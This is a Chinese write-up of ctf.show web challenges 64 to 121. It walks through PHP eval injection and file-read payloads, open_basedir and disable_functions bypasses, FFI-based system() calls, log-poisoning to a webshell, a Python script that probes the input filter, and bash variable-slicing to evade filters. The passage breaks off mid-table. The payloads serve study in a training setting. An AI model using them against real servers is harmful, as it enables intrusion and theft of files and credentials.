这道题我尝试了不同的方法,因为他没有禁用include的函数,我让他包含了/var/log/nginx/access.log的进行了UA注入,然后用蚁剑进行POST连接,成功的拿到了shell,但是这道题所有的文件打开都是空白,通过将蚁剑的代理到Burpsuite,通过抓包,发现它通过PHP fread函数读取文件内容,但是这道题使用了disable_function函数把fread函数给禁用了,所以打开文件内容是空白
所以这道题还是通过php伪协议拿到flag

web-64/65/66/67/68

1
2
这道题flag不在当前目录下,所以需要查看目录
c=print_r(scandir("/"));

有一个新的思路,通过PHP的原生类,new一个对象出来,然后echo这个对象

1
c=$dir=new DirectoryIterator("/");echo $dir; 

web-69/70

1
2
3
4
5
这道题把绝大多数的打印数组函数给禁用了
所以有两种方法:
1.找到剩余的没有被禁用的数组函数
c=var_export(scandir("."));
2.将数组转化为其他格式,再打印
implode函数
1
2
3
4
5
6
7
8
9
10
11
12
13
implode 函数用于将数组的元素连接成一个字符串,数组的每个元素会根据指定的分隔符连接起来。

string implode ( string $glue , array $pieces )

$glue:一个字符串,作为连接数组元素的分隔符。如果你不想要任何分隔符,可以传入空字符串("")。
$pieces:一个数组,包含要连接的元素。

$array = ["apple", "banana", "cherry"];
$result = implode(", ", $array);
echo $result; // 输出:apple, banana, cherry

implode($array,",");==implode(",",$array);
逆序也可以使用

所以我们先用查看当前目录或者其他目录

1
echo(implode("--",scandir(".")));

也可以转成json格式使用json_encode函数

1
c=echo json_encode(scandir("/")); 

然后读取文件include或者readgzfile

web-71

1
2
3
4
5
6
7
8
9
10
11
12
这道题采用了将输出内容送到缓冲区,再将缓冲区数据替换,实现flag模糊
所以这道题我们有两种方法:
1.提前将缓冲区数据发送到服务器或者提前输出:

ob_flush()
ob_flush() 函数的作用是将 当前输出缓冲区 的内容发送到浏览器或客户端,但不关闭缓冲区。

ob_end_flush()
ob_end_flush() 函数的作用是 输出当前缓冲区的内容,并关闭输出缓冲区。

2.提前将程序终止,这样数据就不会发送到缓冲区
利用exit();或者die();

web-72

1
这道题是pwn题,但是记住我会回来的

绕过open_basedir

1
2
3
4
5
6
7
8
9
c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
其实不加前面 ?><?php 也是可以的。 eval() 里的语句可以视为在当前 php 文件里加了几条语句,这些语句必须是完整的,即必须以 “ ; ” 或者 “ ?> ” 结尾来结束语句,但是eval里的 “ ?> ” 不会闭合当前 php 文件。
c=$a=new DirectoryIterator("glob://./*");foreach($a as $f){echo ($f->__toString().' ');}exit(0);

web-73

比之前的题多过滤了include,所以采用include_once、require_once绕过

web-74

1
2
3
c=$a=new DirectoryIterator("glob://./*");foreach($a as $f){echo ($f->__toString().' ');}exit(0);

c=include('/flagx.txt');exit(0);

web-75/76

本题还通过include_path限制了文件包含的路径,无法直接使用include包含得到flag信息,于是尝试使用uaf的方式绕过命令执行的限制,但是由于本题过滤了strlen,因此参照提示信息使用PDO连接MySQL数据库的方式读取flag信息,payload如下。

1
2
3
4
5
6
7
8
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
echo($row[0])."|";
}exit();

$dsn = "mysql:host=localhost;dbname=information_schema";$db = new PDO($dsn, 'root','root');$rs = $db->query("select database()");foreach($rs as $row){echo($row[0])."|"; }exit();

这题可以使用默认的数据库连接,可以不使用WP讲解的ctfraining

下面给查询数据库payload

1
2
3
4
5
6
7
8
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();

$dsn = "mysql:host=localhost;dbname=information_schema";$db = new PDO($dsn, 'root', 'root');$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");foreach($rs as $row){echo($row[0])."|"; }exit();

确实查询到了ctfraining,下面是拿到flag的payload

1
2
3
4
c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

默认系统库也可以
c=$conn = mysqli_connect("127.0.0.1", "root", "root", "information_schema"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

web-77

这题根据题目给的提示,是php的7.4,有着ffi漏洞

1
2
3
4
5
6
7
8
9
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system 函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;

之后执行 /readflag 程序并将其输出重定向到文件 1.txt;

通过 FFI 对象 $ffi 调用了前面定义的 system 函数,并传递了字符串变量 $a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。

他会创建1.txt在当前目录下,所以直接通过访问url/1.txt拿到flag

但是这个题根目录下还有一个flag36x.txt为什么不访问这个呢,而且我们怎么知道readflag是一个可执行文件呢?正常的文件导入应该是cat /readflag > 1.txt,下面进行测试

1
c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /readflag > 2.txt';$ffi->system($a);

得到一个二进制执行文件(可以通过IDA逆向出它的源码),我们也可以使用ls -l命令查看目录权限

1
c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l > 3.txt';$ffi->system($a);

通过逆向可知,这个文件就是帮我们读取flag36x.txt,因为我们本身是www-data没有权限读取flag36x.txt

web-118

题目:flag在flag.php里面

查看网页源代码发现system(code),直接可以判定是RCE,直接尝试ls,回显evil input,写一个脚本,或者使用bp看一下有什么可以输入,或者说是过滤了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
from bs4 import BeautifulSoup
import string

# 要抓取的网页URL
url = 'http://4740d816-292b-431e-b6b8-95d80f2a40c8.challenge.ctf.show/'

# 构造要测试的字符集(包括字母、数字、符号等)
charset = string.ascii_letters + string.digits + string.punctuation

Success_char = ''
Failed_char = ''

# 发送HTTP POST请求的函数
def send_request(code_input):
try:
response = requests.post(url, data={'code': code_input})
return response
except requests.RequestException as e:
print(f"请求发生错误: {e}")
return None

# 主逻辑:遍历字符集,构造输入并分析回显
for char in charset:
# 发送POST请求并获取回显
response = send_request(char)

if response is not None and response.status_code == 200:
# 解析HTML内容
soup = BeautifulSoup(response.content, 'html.parser')

# 获取所有div标签
paragraphs = soup.find_all('div')

# 假设当前字符不是evil
is_evil = False

# 检查回显内容
for paragraph in paragraphs:
text = paragraph.get_text()

# 如果任意一个div包含 'evil input' 则标记为evil
if 'evil input' in text:
is_evil = True
break

# 根据检查结果分类字符
if is_evil:
print(f"Skipped input (evil): {char}")
Failed_char += char + '__'
else:
print(f"合法input: {char}")
Success_char += char + '__'
else:
if response is not None:
print(f"请求失败 {response.status_code}")
else:
print("请求发生异常")

# 输出最终的合法字符
print(f"成功的字符: {Success_char}")
print(f"失败的字符: {Failed_char}")

或者使用bp,bp原先的爆破字符集包含的有些少了,换成下面这个字符集

1
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

image-20250225113001126

回显长度少的就是没有被过滤的字符,发现大写字母和一些特殊符号${}没有被过滤

那我们就可以用环境变量和路径名来进行RCE,本地搭建类似环境进行模拟

1
2
echo ${PATH}
echo ${PWD}

image-20250225113953341

正常来说,我们使用切片法就可以进行RCE

1
2
3
4
5
echo ${PATH:0:1}
echo ${PATH:0:3}
echo ${PATH:1:1}
echo ${PATH:~0:1}
echo ${PATH:~A}

image-20250225114349068

${PWD}也是同理

注意:使用取反号时,任何字母等同于数字0。

但是这道题把数字过滤了,所以只能使用末尾取字符的方法,题目的路径是/var/www/html

所以使用nl查看文件,flag.php使用????.???替代得到payload

1
${PATH:~A}${PWD:~A} ????.???

也有师傅的payload是

1
${PATH:~A}${PWD:~A:${##}} ????.???

测试得到结果

1
2
echo ${#}   等于0
echo ${##} 等于1

web-119/120/121

这题和上一题差不多但是过滤了PATH,这里就考我们linux的系统环境变量了

字符 BASH 描述
0 $ 获取第二个字符
2 ${PHP_VERSION:~A} 根据php版本获取,php的版本是7.3.22
3 $:$} /var/www/html的第二位
t ${USER:~$:$\